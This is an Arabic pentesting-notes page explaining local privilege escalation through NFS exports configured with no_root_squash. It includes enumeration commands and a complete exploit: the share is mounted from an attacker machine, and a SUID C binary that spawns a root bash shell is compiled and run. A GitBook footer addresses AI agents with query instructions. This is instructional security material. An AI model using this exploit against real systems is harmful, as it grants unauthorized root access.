> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/nfs-shares.md).

# مشاركات NFS

قد تسمح عمليات تصدير NFS المهيأة بشكل خاطئ بزيادة الامتيازات محليًا عندما يتم تصدير مشاركة قابلة للكتابة بخيارات خطيرة مثل `no_root_squash`. في هذه الحالة، قد يقوم root على جهاز المهاجم بإنشاء ملفات على المشاركة تحتفظ بملكية root عند الوصول إليها من الهدف.

## المنهجية

* قم بحصر عمليات تصدير NFS من الهدف وجهاز المهاجم.
* ابحث عن المشاركات القابلة للكتابة وخيارات التصدير الخطيرة مثل `no_root_squash` أو `no_all_squash`.
* قم بتركيب المشاركة من جهاز مهاجم وأنشئ أصغر نموذج إثبات مفهوم SUID مطلوب للتحقق من الأثر.

## فحوصات سريعة

على الهدف:

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

من جهاز مهاجم:

```bash
showmount -e target_ip
```

## خيارات التصدير الخطيرة

| الخيار             | المخاطر                                                                     |
| ------------------ | --------------------------------------------------------------------------- |
| `no_root_squash`   | قد يحتفظ root البعيد بملكية root على الملفات التي يتم إنشاؤها داخل التصدير. |
| `rw`               | يسمح بالكتابة إلى المشاركة المصدَّرة.                                       |
| `no_all_squash`    | قد يحتفظ المستخدمون بتعيين UID/GID الأصلي الخاص بهم.                        |
| نطاقات عملاء واسعة | يمكن لعدد أكبر من المضيفين تركيب التصدير والتفاعل معه.                      |

## نمط الاستغلال

على جهاز المهاجم:

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

على الهدف:

```bash
/shared/folder/privesc
```

## ملاحظات التحقق

```bash
ls -la /shared/folder/privesc
المعرّف
```

إذا لم يكن الملف الثنائي مملوكًا لـ root أو لم تبقَ بتّة SUID، فمن المحتمل أن التصدير يقوم بإسقاط root أو أنه تم تركيبه بخيارات تقييدية.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/nfs-shares.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
